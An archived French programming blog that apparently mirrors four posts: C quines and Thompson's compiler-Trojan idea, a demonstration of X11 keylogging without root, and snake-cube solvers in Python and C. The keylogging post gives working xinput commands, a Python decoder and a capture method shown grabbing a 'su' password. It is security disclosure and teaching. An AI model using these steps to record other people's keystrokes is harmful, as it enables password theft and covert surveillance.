PROJET AUTOBLOG


®om's blog

Site original : ®om's blog

⇐ retour index

Mise à jour

Mise à jour de la base de données, veuillez patienter...

Programmes auto-reproducteurs (quines)

lundi 14 novembre 2011 à 21:14

quine

Vous êtes-vous déjà demandé comment écrire un programme qui génère son propre code source ? Si vous n’avez jamais essayé, je vous conseille de prendre un peu de temps pour y réfléchir avant de lire la suite. Ce n’est pas évident, car chaque caractère ajouté dans le code source doit également apparaître sur la sortie…

Un tel programme s’appelle un quine. Et il est prouvé qu’avec tout langage de programmation il existe un quine (une infinité ?). Cette page détaille un peu plus la théorie.

Des exemples sont déjà écrits pour plein de langages.

Quine simple

Voici un programme auto-reproducteur simple en C :

#include<stdio.h>
main(){char*s="#include<stdio.h>%cmain(){char*s=%c%s%c;printf(s,10,34,s,34,10);}%c";printf(s,10,34,s,34,10);}

Nous pouvons tester, ce programme se génère bien lui-même :

$ gcc quine.c && ./a.out | tee quine.c
#include<stdio.h>
main(){char*s="#include<stdio.h>%cmain(){char*s=%c%s%c;printf(s,10,34,s,34,10);}%c";printf(s,10,34,s,34,10);}
$ gcc quine.c && ./a.out | tee quine.c
#include<stdio.h>
main(){char*s="#include<stdio.h>%cmain(){char*s=%c%s%c;printf(s,10,34,s,34,10);}%c";printf(s,10,34,s,34,10);}
$ gcc quine.c && ./a.out | tee quine.c
#include<stdio.h>
main(){char*s="#include<stdio.h>%cmain(){char*s=%c%s%c;printf(s,10,34,s,34,10);}%c";printf(s,10,34,s,34,10);}

(essayez de l’écrire ou de le réécrire tout seul pour bien comprendre comment ça fonctionne)

L’essentiel de l’astuce ici est de passer la chaîne s à la fois en tant que format et d’argument de printf.

Ce n’est pas sans poser de problèmes : dans la déclaration de la chaîne s, nous ne pouvons pas écrire " (évidemment), ni \", car alors il faudrait que le programme génère le \", donc le ", ce que précisément nous cherchons à faire. L’astuce est donc d’utiliser son code ASCII (34), inséré grâce aux %c. Le code 10, quant à lui, correspond au saut de ligne.

Quine alternatif

Nous pouvons imaginer deux programmes qui se génèrent l’un-l’autre : un programme A génère un code source B, tel que le programme B génère le code source A.

À partir de l’exemple précédent, c’est trivial, il suffit de rajouter une variable (que j’ai appelée « f » comme « flag ») dont on alterne la valeur :

#include<stdio.h>
main(){int f=0;char*s="#include<stdio.h>%cmain(){int f=%i;char*s=%c%s%c;printf(s,10,!f,34,s,34,10);}%c";printf(s,10,!f,34,s,34,10);}

La valeur de f alterne entre 0 et 1 :

$ gcc quine.c && ./a.out | tee quine.c
#include<stdio.h>
main(){int f=1;char*s="#include<stdio.h>%cmain(){int f=%i;char*s=%c%s%c;printf(s,10,!f,34,s,34,10);}%c";printf(s,10,!f,34,s,34,10);}
$ gcc quine.c && ./a.out | tee quine.c
#include<stdio.h>
main(){int f=0;char*s="#include<stdio.h>%cmain(){int f=%i;char*s=%c%s%c;printf(s,10,!f,34,s,34,10);}%c";printf(s,10,!f,34,s,34,10);}
$ gcc quine.c && ./a.out | tee quine.c
#include<stdio.h>
main(){int f=1;char*s="#include<stdio.h>%cmain(){int f=%i;char*s=%c%s%c;printf(s,10,!f,34,s,34,10);}%c";printf(s,10,!f,34,s,34,10);}

Quasi-quine

Il est également possible d’écrire un programme qui en génère un autre, qui lui-même en génère un autre… sans jamais “boucler”. Je me suis amusé à en écrire deux exemples.

Fibonacci

Le premier calcule la suite de Fibonacci. Ou plutôt, il contient les deux premiers éléments de la suite (F(0)=0 et F(1)=1), génère un programme qui contiendra F(1) et F(2), qui lui-même générera un programme qui contiendra F(2) et F(3), etc. :

#include<stdio.h>
main(){int a=0,b=1;char*s="#include<stdio.h>%cmain(){int a=%i,b=%i;char*s=%c%s%c;printf(s,10,b,a+b,34,s,34,10);}%c";printf(s,10,b,a+b,34,s,34,10);}

Pour obtenir F(10) et F(11) (suivre les valeurs des variables a et b) :

$ for i in {1..10}; do gcc quine.c && ./a.out | tee quine.c; done
#include<stdio.h>
main(){int a=1,b=1;char*s="#include<stdio.h>%cmain(){int a=%i,b=%i;char*s=%c%s%c;printf(s,10,b,a+b,34,s,34,10);}%c";printf(s,10,b,a+b,34,s,34,10);}
#include<stdio.h>
main(){int a=1,b=2;char*s="#include<stdio.h>%cmain(){int a=%i,b=%i;char*s=%c%s%c;printf(s,10,b,a+b,34,s,34,10);}%c";printf(s,10,b,a+b,34,s,34,10);}
#include<stdio.h>
main(){int a=2,b=3;char*s="#include<stdio.h>%cmain(){int a=%i,b=%i;char*s=%c%s%c;printf(s,10,b,a+b,34,s,34,10);}%c";printf(s,10,b,a+b,34,s,34,10);}
#include<stdio.h>
main(){int a=3,b=5;char*s="#include<stdio.h>%cmain(){int a=%i,b=%i;char*s=%c%s%c;printf(s,10,b,a+b,34,s,34,10);}%c";printf(s,10,b,a+b,34,s,34,10);}
#include<stdio.h>
main(){int a=5,b=8;char*s="#include<stdio.h>%cmain(){int a=%i,b=%i;char*s=%c%s%c;printf(s,10,b,a+b,34,s,34,10);}%c";printf(s,10,b,a+b,34,s,34,10);}
#include<stdio.h>
main(){int a=8,b=13;char*s="#include<stdio.h>%cmain(){int a=%i,b=%i;char*s=%c%s%c;printf(s,10,b,a+b,34,s,34,10);}%c";printf(s,10,b,a+b,34,s,34,10);}
#include<stdio.h>
main(){int a=13,b=21;char*s="#include<stdio.h>%cmain(){int a=%i,b=%i;char*s=%c%s%c;printf(s,10,b,a+b,34,s,34,10);}%c";printf(s,10,b,a+b,34,s,34,10);}
#include<stdio.h>
main(){int a=21,b=34;char*s="#include<stdio.h>%cmain(){int a=%i,b=%i;char*s=%c%s%c;printf(s,10,b,a+b,34,s,34,10);}%c";printf(s,10,b,a+b,34,s,34,10);}
#include<stdio.h>
main(){int a=34,b=55;char*s="#include<stdio.h>%cmain(){int a=%i,b=%i;char*s=%c%s%c;printf(s,10,b,a+b,34,s,34,10);}%c";printf(s,10,b,a+b,34,s,34,10);}
#include<stdio.h>
main(){int a=55,b=89;char*s="#include<stdio.h>%cmain(){int a=%i,b=%i;char*s=%c%s%c;printf(s,10,b,a+b,34,s,34,10);}%c";printf(s,10,b,a+b,34,s,34,10);}

Ce que je trouve fabuleux, c’est que chaque programme, qui connaît deux valeurs de la suite, sait non seulement générer un nouveau programme qui calculera la valeur suivante (ça, c’est facile), mais en plus, ce nouveau programme saura lui-même générer un autre programme qui calculera la prochaine, etc. Chaque programme transmet en quelque sorte son code génétique à sa descendance.

PGCD

Suivant le même principe, il est possible de calculer le PGCD de deux nombres. Nous pouvons générer une lignée de programmes qui calculeront chacun une étape de l’algorithme d’Euclide.

Cet exemple permet de calculer PGCD(64,36) :

#include<stdio.h>
main(){int a=64,b=36;char*s="#include<stdio.h>%cmain(){int a=%i,b=%i;char*s=%c%s%c;printf(s,10,b==0?a:b,b==0?0:a%%b,34,s,34,10);}%c";printf(s,10,b==0?a:b,b==0?0:a%b,34,s,34,10);}

Le caractère % ayant une signification dans le formatage de printf, nous devons le doubler.

Nous aurions pu utiliser à la place a-a/b*b (ce qui revient à peu près au même, si a et b sont positifs avec a>b).

Voici le résultat (suivre les valeurs des variables a et b) :

$ for i in {1..5}; do gcc quine.c && ./a.out | tee quine.c; done
#include<stdio.h>
main(){int a=36,b=28;char*s="#include<stdio.h>%cmain(){int a=%i,b=%i;char*s=%c%s%c;printf(s,10,b==0?a:b,b==0?0:a%%b,34,s,34,10);}%c";printf(s,10,b==0?a:b,b==0?0:a%b,34,s,34,10);}
#include<stdio.h>
main(){int a=28,b=8;char*s="#include<stdio.h>%cmain(){int a=%i,b=%i;char*s=%c%s%c;printf(s,10,b==0?a:b,b==0?0:a%%b,34,s,34,10);}%c";printf(s,10,b==0?a:b,b==0?0:a%b,34,s,34,10);}
#include<stdio.h>
main(){int a=8,b=4;char*s="#include<stdio.h>%cmain(){int a=%i,b=%i;char*s=%c%s%c;printf(s,10,b==0?a:b,b==0?0:a%%b,34,s,34,10);}%c";printf(s,10,b==0?a:b,b==0?0:a%b,34,s,34,10);}
#include<stdio.h>
main(){int a=4,b=0;char*s="#include<stdio.h>%cmain(){int a=%i,b=%i;char*s=%c%s%c;printf(s,10,b==0?a:b,b==0?0:a%%b,34,s,34,10);}%c";printf(s,10,b==0?a:b,b==0?0:a%b,34,s,34,10);}
#include<stdio.h>
main(){int a=4,b=0;char*s="#include<stdio.h>%cmain(){int a=%i,b=%i;char*s=%c%s%c;printf(s,10,b==0?a:b,b==0?0:a%%b,34,s,34,10);}%c";printf(s,10,b==0?a:b,b==0?0:a%b,34,s,34,10);}

Une fois la solution trouvée (lorsque b vaut 0), le programme se comporte comme un vrai quine (il se regénère à l’identique).

Compilateur magique

Passons maintenant à l’étape suivante. Jusqu’à maintenant, nous avons généré un programme qui génère un autre programme… Très bien. Mais ces programmes générés (en fait, leur code source), nous les compilons avec un compilateur (gcc).

Mais un compilateur, c’est un programme, qui en plus est écrit dans le langage qu’il doit compiler. En particulier, le compilateur C est écrit en C.

À partir là, il est possible de faire des choses très intéressantes, comme l’a expliqué en 1984 Ken Thompson dans son célèbre article Reflections on Trusting Trust (que je vais paraphraser).

Le code suivant est une idéalisation du code du compilateur C qui interprète le caractère d’échappement :

= next();
if (c != '\\')
    return c;
c = next();
if (c == '\\')
    return '\\';
if (c == 'n')
    return '\n';

C’est “magique” : le programme sait, de manière totalement portable, quel caractère est compilé pour un saut de ligne pour n’importe quel jeu de caractères. Le fait qu’il le sache lui permet de se recompiler lui-même, en perpétuant ainsi cette connaissance.

Supposons que nous voulions rajouter le caractère spécial « \v » pour écrire une “tabulation verticale” :

c = next();
if (c != '\\')
    return c;
c = next();
if (c == '\\')
    return '\\';
if (c == 'n')
    return '\n';
if (c == 'v')
    return '\v';

Évidemment, si le compilateur ne connaît pas \v, ce code ne compile pas. Mais il suffit de lui apprendre : le code ASCII de la tabulation verticale est 11. Nous pouvons donc modifier temporairement le compilateur, pour en générer une nouvelle version :

c = next();
if (c != '\\')
    return c;
c = next();
if (c == '\\')
    return '\\';
if (c == 'n')
    return '\n';
if (c == 'v')
    return 11;

La nouvelle version du compilateur accepte maintenant « \v », et peut donc compiler son propre code source contenant ce caractère. Le code source contenant le 11 peut donc être totalement supprimé et oublié.

C’est un concept profond. Il suffit de lui dire une fois, l’auto-référencement fait le reste.

Cheval de Troie (quasi-)indétectable

Considérons alors la fonction compile(s) permettant de compiler une ligne de code source. Une simple modification va délibérément mal compiler la source lorsqu’un motif est détecté :

void compile(char *s) {
    if (match(s, "pattern")) {
        compile("bug");
        return;
    }
    // …
}

Supposons que le motif permette d’identifier la commande login, et que le bug (cheval de Troie) compilé permette d’accepter, en plus du mot de passe correct, un mot de passe prédéfini quelconque : nous pourrions, en connaissant ce “faux” mot de passe, nous connecter sur n’importe quelle machine possédant le programme login compilé avec ce compilateur.

Mais évidemment, un tel bout de code dans le compilateur C ne passerait pas inaperçu et serait détecté très rapidement… Sauf avec l’ultime étape :

void compile(char * s) {
    if (match(s, "pattern1")) {
        compile("bug1");
        return;
    }
    if (match(s, "pattern2")) {
        compile("bug2");
        return;
    }
    // …
}

Ici, nous ajoutons un second cheval de Troie. Le premier motif correspond toujours à la commande login, tandis que le second motif correspond au compilateur C. Le second bug est un programme auto-reproducteur (tel que ceux que nous avons vus dans ce billet) qui insère les deux chevaux de Troie. Il nécessite une phase d’apprentissage comme dans l’exemple avec \v. Nous compilons d’abord la source ainsi modifiée avec le compilateur C normal pour générer un binaire corrompu, que nous utilisons désormais comme compilateur C. Maintenant, nous pouvons supprimer les bugs de la source, le nouveau compilateur va les réinsérer à chaque fois qu’il sera compilé.

Ainsi, en compilant un code source “propre” avec un compilateur dont le code source est “propre” et que nous avons compilé nous-mêmes, nous générons un binaire contenant un cheval de Troie !

Il est cependant possible de contrer cette attaque.

Keylogger sous GNU/Linux : enregistrer les touches tapées au clavier

mardi 1 novembre 2011 à 22:09

En tant que root, il est bien sûr potentiellement possible de faire ce que l’on veut sur sa machine, comme enregistrer toutes les touches tapées au clavier (keylogger).

keyboard

Mais aussi incroyable (et inquiétant) que cela puisse paraître, il est possible de faire exactement la même chose… sans être root.

Démonstration

Et en plus, c’est tout simple : il suffit pour un programme d’écouter les événements clavier envoyés par le serveur X. Prenons un outil qui le fait déjà (ça nous évitera de le coder), xinput :

sudo apt-get install xinput

Pour obtenir la liste des périphériques utilisables :

xinput list

Repérer la ligne concernant le clavier (contenant « AT ») et noter son id (ici 11).

$ xinput list | grep AT
    ↳ AT Translated Set 2 keyboard            	id=11	[slave  keyboard (3)]

Puis démarrer l’écoute sur ce périphérique dans un terminal :

xinput test 11

Au fur et à mesure que l’on tape du texte, la sortie standard de xinput indique quelles touches sont tapées :

key press   56 
key release 56 
key press   32 
key release 32 
key press   57 
key release 57 
key press   44 
key release 44 
key press   32 
key press   30 
key release 32 
key release 30 
key press   27 
key release 27

Cela fonctionne même lorsqu’on écrit dans une autre application, quelque soit l’utilisateur qui l’a démarrée. En particulier, si dans un autre terminal on exécute la commande suivante, le mot de passe est bien capturé :

$ su -
Mot de passe : 

Un programme avec de simples droits utilisateur peut donc écouter tout ce qui est tapé au clavier (et donc l’enregistrer, l’envoyer à un serveur…).

Décodage

Convertisseur

La sortie de xinput n’est pas très utilisable en pratique. Pour la décoder, un programme d’une vingtaine de lignes en Python suffit (fortement inspiré de ce PoC). Appelons-le xinput-decoder.py :

#!/usr/bin/env python
# -*- coding: UTF-8 -*-
import re, sys
from subprocess import *

def get_keymap():
    keymap = {}
    table = Popen(['xmodmap', '-pke'], stdout=PIPE).stdout
    for line in table:
        m = re.match('keycode +(\d+) = (.+)', line.decode())
        if m and m.groups()[1]:
            keymap[m.groups()[0]] = m.groups()[1].split()[0]
    return keymap

if __name__ == '__main__':
    keymap = get_keymap();
    for line in sys.stdin:
        m = re.match('key press +(\d+)', line.decode())
        if m:
            keycode = m.groups()[0]
            if keycode in keymap:
                print keymap[keycode],
            else:
                print '?' + keycode,

Pour convertir le résultat à la volée :

xinput test 11 | ./xinput-decoder.py

Problème de redirection

Le problème, c’est que lorsqu’on redirige la sortie de xinput dans un fichier ou en entrée d’un autre programme, le contenu ne s’affiche que par salves (d’environ 128 caractères apparemment). Sans doute une histoire de buffer, à mon avis activé uniquement lorsque la fonction isatty() retourne true.

http://www.kernel.org/doc/man-pages/online/pages/man3/isatty.3.html

Pour contourner le problème et récupérer les dernières touches tapées, il est possible de démarrer la commande dans un screen :

screen xinput test 11

puis, à la fin de la capture, d’enregistrer le contenu dans un fichier. Pour cela, dans le screen ainsi ouvert, taper Ctrl+A, :, puis hardcopy -h /tmp/log. De cette manière, /tmp/log contiendra toute la capture.

Pour convertir le résultat :

$ ./xinput-parser.py < /tmp/log
s u space minus Return p a s s w o r d Return a p t minus g e t space u p d a t e Return Control_L a colon

Améliorations

Une solution plus pratique serait peut-être de démarrer xinput par le programme Python, en lui faisant croire qu’il écrit dans un TTY (ce que je ne sais pas faire). Quelqu’un l’a fait en Perl.

Il faudrait également prendre en compte le relâchement des touches dans le décodeur, car lorsqu’il affiche Shift_L a b, nous n’avons aucun moyen de savoir si la touche Shift a été relâchée avant le a, entre le a et le b, ou après le b.

Liens

Merci à Papillon-butineur de m’avoir fait découvrir ce fonctionnement étonnant du serveur X.

Je vous recommande le billet suivant (en anglais) ainsi que ses commentaires : The Linux Security Circus: On GUI isolation.

EDIT : En 2016, tuxicoman a proposé une implémentation en C++.

Résoudre le cube-serpent 300 fois plus rapidement en C

mardi 18 octobre 2011 à 23:33

Il y a 3 semaines, j’avais écrit un solveur de cube-serpent en Python.

Un commentaire, en apparence anodin, m’a mis dans la tête une question que je ne pouvais pas laisser sans réponse : combien de fois plus rapidement s’exécuterait le même algorithme implémenté en C que celui en Python (interprêté) ? 2× ? 10× ? 50× ?

Pour y répondre, il fallait donc implémenter le même algorithme en C. En plus, c’était l’occasion de rendre hommage à Dennis Ritchie. Après avoir découvert Python, j’ai donc (ré)appris le C (et ça fait drôle de rejouer avec les pointeurs après plusieurs années !).

Implémentation

Je ne vais pas m’attarder sur l’algorithme, c’est exactement le même principe que sur mon billet précédent, et j’ai essayé de garder les mêmes noms de fonctions.

La structure du cube et ses dimensions (à modifier selon votre cube-serpent) sont définies par macros (les fameux #define). Par rapport au programme Python, il faut en plus préciser la taille des tableaux.

La seule partie que j’ai réimplémentée complètement différemment est la fonction get_useful_points de la version Python (souvenez-vous, avec des yields dans une fonction récursive). La fonction équivalente dans la version C s’appelle symmetry_helper_inc_cursor(int cursor[]) : au lieu de retourner au fur et à mesure chacun des points à traiter, elle donne le point “suivant” de celui passé en paramètre.

De même, les solutions trouvées sont données dans un callback (la fonction solution), toujours dans l’objectif de supprimer simplement les yields.

J’ai tout mis dans un seul fichier csnakesolver.c (par simplicité, même si plusieurs fichiers .c avec leurs .h auraient été préférables).

Performances

Passons maintenant à ce qui nous intéresse : les performances.

Exemples de référence

Je fais mes tests sur 3 exemples : un rapide, un moyen et un long.

Le rapide est un 3×3×3, les deux autres sont des 4×4×4. Voici leurs structures respectives :

// (R)apide
{2, 1, 1, 2, 1, 2, 1, 1, 2, 2, 1, 1, 1, 2, 2, 2, 2}
// (M)oyen
{2, 1, 2, 1, 1, 3, 1, 2, 1, 2, 1, 2, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 1, 1, 1, 1,
1, 2, 3, 1, 1, 1, 3, 1, 2, 1, 1, 1, 1, 1, 1, 1, 1, 1, 3, 1}
// (L)ong
{1, 1, 2, 1, 1, 3, 1, 2, 1, 2, 1, 2, 1, 1, 1, 1, 1, 1, 1, 1, 1 ,1, 2, 2, 1, 1,
1, 1, 1, 2, 3, 1, 1, 1, 3, 1, 2, 1, 1, 1, 1, 1, 1, 1, 1, 1, 3}

Protocole

Je vais comparer, grâce à la commande time, le temps nécessaire pour trouver une solution :

time ./csnakesolver

Le programme doit s’arrêter après avoir trouvé la première. Les programmes Python et C trouveront forcément les mêmes et dans le même ordre, vu qu’ils implémentent le même algorithme.

Compilation

Il est intéressant de tester les performances en compilant sans optimisations :

gcc csnakesolver.c -o csnakesolver

et avec :

gcc -O3 csnakesolver.c -o csnakesolver

Résultats

(au format h:mm:ss.ms)

  Python C (gcc) C (gcc -O3)
R ~0:00:00.000 ~0:00:00.000 ~0:00:00.000
M 0:05:06.903 0:00:03.715 (×83) 0:00:00.826 (×372)
L 3:53:17.012 0:05:04.533 (×46) 0:00:50.681 (×276)

Le gain est loin d’être négligeable : ×276 dans un cas et ×372 dans l’autre ! Honnêtement, je ne m’y attendais pas. Tout au plus, j’espérais peut-être ×10 ou ×50, sans trop y croire.

Origines des gains de performances

Deux différences expliquent ces gains :

Il serait intéressant de savoir dans quelle mesure les gains proviennent de la compilation et dans quelle mesure ils proviennent de l’abstraction (nous savons déjà que le facteur de gain entre les programmes compilés avec et sans -O3 provient uniquement de la compilation).

Une approche intéressante pour répondre à cette question serait de compiler le programme Python en code natif (je n’ai encore jamais fait).

Débogueur

Travailler sur un mini-projet personnel permet toujours d’apprendre des choses. En dehors du langage lui-même, j’ai découvert le débogueur gdb.

N’ayant toujours utilisé des débogueurs qu’en mode graphique (pour d’autres langages), je m’attendais à ce qu’il soit un peu long à prendre en main. Mais en fait, pas du tout, j’ai été agréablement surpris par sa simplicité d’utilisation.

Avec certains langages, on peut se passer de débogueur pour de petits programmes. C ne fait pas partie de ceux-là, par exemple dans ce cas précis :

$ ./csnakesolver
Erreur de segmentation

Il faut d’abord compiler le programme avec l’option de debug :

gcc -g csnakesolver.c -o csnakesolver

Puis lancer le programme avec le débogueur :

gdb csnakesolver

Un prompt permet d’entrer des commandes :

(gdb) 

Pour placer un point d’arrêt à la ligne 215 :

(gdb) break 215

Pour démarrer le programme :

(gdb) run

Le programme s’arrête sur le point d’arrêt :

Breakpoint 1, volume_helper_can_move (vector=...) at csnakesolver.c:215
215	    int cursor_position_value = volume_helper.cursor[vector.position];

Pour afficher le bout de code source concerné :

(gdb) l
210	void volume_helper_set_flag(int cursor[], bool value) {
211	    * volume_helper_get_flag_pointer(cursor) = value;
212	}
213	
214	bool volume_helper_can_move(vector_s vector) {
215	    int cursor_position_value = volume_helper.cursor[vector.position];
216	    int new_value = cursor_position_value + vector.value;
217	    int future_cursor[DIMENSIONS_COUNT];
218	    int sign, i, abs_value;
219	    if (new_value < 0 || new_value >= dimensions[vector.position]) {

Il est possible de consulter les valeurs des variables (éventuellement en les formattant) grâce à p (print) :

(gdb) p vector.position
$1 = 0
(gdb) p vector
$2 = {position = 0, value = 1}

Pour afficher des tableaux, il faut indiquer le pointeur et la longueur du tableau à afficher (ici 3) :

(gdb) p * volume_helper.cursor @ 3
$3 = {0, 0, 0}

Pour obtenir la pile d’exécution :

(gdb) bt
#0  volume_helper_can_move (vector=...) at csnakesolver.c:215
#1  0x0000000000401294 in solve_rec (init_cursor=0x7fffffffe210, step=0)
    at csnakesolver.c:438
#2  0x0000000000401191 in solve () at csnakesolver.c:407
#3  0x00000000004013de in main () at csnakesolver.c:475

Pour avancer dans le programme, 3 commandes sont indispensables :

Ces commandes essentielles permettent déjà de se sortir de beaucoup de situations.

Conclusion

Un programme écrit en C est plus rapide qu’un programme écrit en Python (ah bon ?), dans une proportion plus importante que je ne l’imaginais. Ce n’est qu’un test sur un exemple particulier, mais il donne déjà une petite idée.

La morale de l’histoire est qu’il faut bien choisir son langage suivant le programme à réaliser. Et pour du calcul brut, évidemment un langage bas niveau est préférable (même si le développement est plus laborieux). Dans certains cas cependant, où les performances brutes ne sont pas cruciales, Python sera préféré à C.

Code source

Le code source est disponible sur ce dépôt git :

git clone http://git.rom1v.com/csnakesolver.git

(ou sur github).

Par contre, désolé, cette version est beaucoup moins commentée que la version Python.

Résoudre le cube-serpent en Python

mardi 27 septembre 2011 à 21:10

cube-serpent

Je me suis amusé à écrire un petit programme en Python qui résout le cube-serpent (ainsi nous pouvons dire qu’un serpent en résout un autre).

Mon but était surtout d’apprendre le langage Python, avec un problème intéressant, pas trop compliqué (c’est de la force brute). Il m’a permis de découvrir différents aspects de Python.

EDIT : Je l’ai également implémenté en C.

L’algorithme proposé résout un cube-serpent généralisé. En effet, il sait trouver des solutions pour obtenir un cube de 3×3×3, mais également d’autres tailles, comme 2×2×2 ou 4×4×4. Il sait également résoudre des volumes non cubiques, comme 2×3×4. Et pour être totalement générique, il fonctionne pour un nombre quelconque de dimensions (2×2, 3×5×4×2, 2×3×2×2×4). Comme ça, vous saurez replier un serpent en hypercube

Je vais d’abord présenter le problème et décrire l’algorithme de résolution et survoler l’implémentation, puis je vais m’attarder sur certaines fonctionnalités de Python qui m’ont semblé très intéressantes.

Résolution

Problème

Le but est de replier la structure du serpent pour qu’elle forme un volume, par exemple un cube.

La structure peut être vue comme une liste de vecteurs orthogonaux consécutifs, ayant chacun une norme (une longueur). Elle peut donc être caractérisée par la liste des normes de ces vecteurs. Ainsi, la structure du serpent présenté sur Wikipedia est la suivante :

snake

[2, 1, 1, 2, 1, 2, 1, 1, 2, 2, 1, 1, 1, 2, 2, 2, 2]

Le volume cible peut être représenté par un graphe, un ensemble de sommets reliés par des arêtes, auquel on ajoute la notion d’orientation dans l’espace (il est important de distinguer les arêtes orthogonales entre elles). En clair, chaque sommet représente une position dans le cube : il y a donc 27 sommets pour un cube 3×3×3.

L’objectif est de trouver dans le graphe ainsi formé par le cube un chemin hamiltonien (un chemin qui passe par tous les sommets une fois et une seule) qui respecte la contrainte de la structure du serpent.

Principe

Pour trouver les solutions, il suffit de partir d’un sommet et tenter de placer les vecteurs de la structure consécutivement un à un, en respectant trois contraintes :

Il faut donc placer récursivement tous les vecteurs possibles, c’est-à-dire tous les vecteurs orthogonaux au précédent, qui ne sortent pas du cube et qui ne passent pas par une position déjà occupée. Jusqu’à arriver soit à une impossibilité (plus aucun vecteur ne respecte ces 3 contraintes), soit à une solution (tous les vecteurs sont placés).

Pour ne manquer aucune solution, il faut répéter cet algorithme en démarrant avec chacun des points de départ (donc les 27 sommets pour un cube 3×3×3).

Limites

Cet algorithme ne détecte pas les symétries ni les rotations, il donne alors plusieurs solutions “identiques”. Une amélioration serait de les détecter “au plus tôt” et de ne pas les construire.

EDIT : La version 0.2 gère les symétries et les rotations, pour éviter de calculer plusieurs solutions identiques. Plus d’explications dans ce commentaire et le suivant.

Implémentation

Voici une explication succincte des différentes parties du programme (pour plus d’informations, lire les commentaires dans le code).

Vector

Nous avons besoins de vecteurs, mais pas n’importe lesquels : seulement ceux qui ont une et une seule composante non-nulle, c’est-à-dire des multiples des vecteurs de la base. En effet, par exemple en 3 dimensions, la direction de chacun des vecteurs sera soit droite-gauche, soit dans haut-bas, soit avant-arrière, mais jamais en diagonale avant-droite vers arrière-gauche.

Ainsi, au lieu de stocker toutes les composantes, le Vector ne contient que la valeur de la composante non-nulle ainsi que sa position (plus facile à manipuler):

Vector(position, value)

VolumeHelper

Cette classe définit l’outil que va utiliser le solveur pour noter tout ce qu’il fait : le chemin emprunté et les sommets déjà visités. À chaque fois qu’il place un vecteur dans le volume, il “allume les petites lumières” associées aux sommets visités, et quand il revient en arrière (pour chercher d’autres solutions), il éteint ces petites lumières (par lumières, comprenez booléens).

SymmetryHelper

Cette classe a été ajoutée dans la version 0.2. Elle définit l’outil que va utiliser le solveur pour n’explorer que les solutions nécessaires, en ignorant les symétries et les rotations.

Solver

Le solveur place récursivement les vecteurs de la structure dans toutes les positions possibles (en s’aidant du VolumeHelper) afin de trouver toutes les solutions.

Solutions

Lors de l’exécution du script, les solutions s’affichent au fur et à mesure :

$ ./snakesolver.py
([0, 0, 0], [2x, y, -x, 2z, y, -2z, x, z, -2y, -2x, y, -z, y, 2z, -2y, 2x, 2y])
([0, 0, 0], [2x, z, -x, 2y, z, -2y, x, y, -2z, -2x, z, -y, z, 2y, -2z, 2x, 2z])
([0, 0, 0], [2y, x, -y, 2z, x, -2z, y, z, -2x, -2y, x, -z, x, 2z, -2x, 2y, 2x])
...

Considérons la première solution :

([0, 0, 0], [2x, y, -x, 2z, y, -2z, x, z, -2y, -2x, y, -z, y, 2z, -2y, 2x, 2y])

Le point de départ est [0, 0, 0]. On se déplace d’abord de 2 sur l’axe x, puis de 1 sur l’axe y, de -1 sur l’axe x, etc.

Voici la représentation graphique de cette solution :

solution-cube-serpent

Fonctionnalités de Python

Maintenant, voici quelques éléments essentiels du langage Python dont je me suis servi pour ce programme.

Compréhension de liste

La compréhension de liste (ou liste en compréhension) est très pratique. Je l’ai utilisée plusieurs fois dans l’algorithme. Je vais détailler deux exemples.

D’abord, dans la classe VolumeHelper :

def all_points(self, index=0):
    if index == len(self.dimensions):
        return [[]]
    return ([h] + t for h in xrange(self.dimensions[index])
            for t in self.all_points(index + 1))

Ce qui est retourné à la fin signifie :

tous les éléments de la forme [h] + t (l’élément h en tête de liste suivie de la queue de la liste) pour h compris entre 0 et self.dimensions[index] (un entier) et pour tout t compris dans les résultats de l’appel récursif

Ça ne vous éclaire pas ? Dit plus simplement :

le résultat de la concaténation de chacun des nombres de 0 à n (avec n = self.dimensions[index]) à chacune des listes fournies par l’appel récursif

En fait, cette fonction fournit tous les points possibles pour les dimensions données. Par exemple, si dimensions = [2, 2], alors le résultat sera :

[[0, 0], [0, 1], [1, 0], [1, 1]]

Pour dimensions = [2, 2, 3], le résultat sera :

[[0, 0, 0], [0, 0, 1], [0, 0, 2], [0, 1, 0], [0, 1, 1], [0, 1, 2], [1, 0, 0],
[1, 0, 1], [1, 0, 2], [1, 1, 0], [1, 1, 1], [1, 1, 2]]

Sans compréhension de liste, il serait difficile d’écrire le corps de cette fonction en 3 lignes !

Remarque : la compréhension de liste retourne une liste si elle est définie entre [], alors qu’elle retourne un générateur (un _itérateur) si elle est définie entre ()._

Second exemple, dans Solver.__solve_rec(…) :

for possible_vector in ( Vector(i, v)
                         for v in [ norm, -norm ]
                         for i in xrange(len(self.dimensions))
                         if i != previous_position ):

Cette partie fournit un ensemble de Vector(i, v), pour toutes les combinaisons de i et de v dans leurs domaines respectifs, qui vérifient la condition (qui ici ne porte que sur i).

En clair, ici nous récupérons tous les vecteurs possibles, c’est-à-dire orthogonaux au précédent et avec la norme (la longueur) imposée par la structure.

Itérateur

La notion d’itérateur est présente dans beaucoup d’autres langages. Un itérateur retourne un nouvel élément à chaque appel à la méthode next(). En pratique, il est souvent utilisé de manière transparente dans une boucle for _variable_ in _iterator_ :

for i in xrange(10):
    print i

xrange(…) retourne un itérateur et fournit les valeurs au fur et à mesure, alors que range(…) crée la liste de toutes les valeurs, qui est ensuite parcourue.

Yield

Les expressions yield permettent de créer un itérateur très simplement.

Pour résoudre le cube-serpent, il est préférable d’une part de fournir les solutions au fur et à mesure qu’elles sont trouvées, et d’autre part de pouvoir ne calculer que les k premières solutions.

La première contrainte est souvent résolue grâce à des callbacks : la fonction de calcul prend en paramètre une fonction, qui sera appelée à chaque résultat trouvé, le passant alors en paramètre.

La seconde est plus délicate : elle implique que l’algorithme s’arrête dès qu’il trouve une solution, et que lors d’un prochain appel il reprenne le calcul là où il s’était arrêté, afin calculer les solutions suivantes. Cela nécessite de conserver un état. Pour un itérateur simple comme celui d’une liste, il suffit de stocker l’index courant de parcours, et de l’incrémenter à chaque appel à next(). Gérer manuellement l’itération sur les solutions du cube-serpent semble beaucoup plus complexe, d’autant plus que les solutions sont trouvées dans des appels récursifs.

C’est là qu’interviennent les expressions yield, qui répondent aux deux besoins en même temps. Utiliser une expression yield dans le corps d’une fonction suffit à transformer cette fonction en un générateur. Il n’est donc plus possible de retourner de valeur grâce à return.

Dès que l’expression yield est rencontrée, la valeur est transmise et l’exécution de la fonction s’arrête. Elle reprendra lors du prochain appel.

